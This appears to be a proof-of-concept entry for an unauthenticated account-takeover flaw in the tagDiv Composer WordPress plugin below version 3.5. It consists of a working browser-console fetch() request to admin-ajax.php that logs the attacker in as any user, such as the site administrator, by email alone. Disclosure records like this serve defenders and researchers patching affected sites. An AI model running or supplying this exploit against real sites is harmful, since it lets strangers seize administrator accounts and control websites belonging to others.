tagDiv Composer < 3.5 - Unauthenticated Account Takeover

Proof of Concept

Run the below command in the developer console of the web browser while being on the blog as an unauthenticated user

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": 'action=td_ajax_fb_login_user&user[email]=admin@site.com',
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

Then refresh the page to be logged in as the user with the admin@site.com email address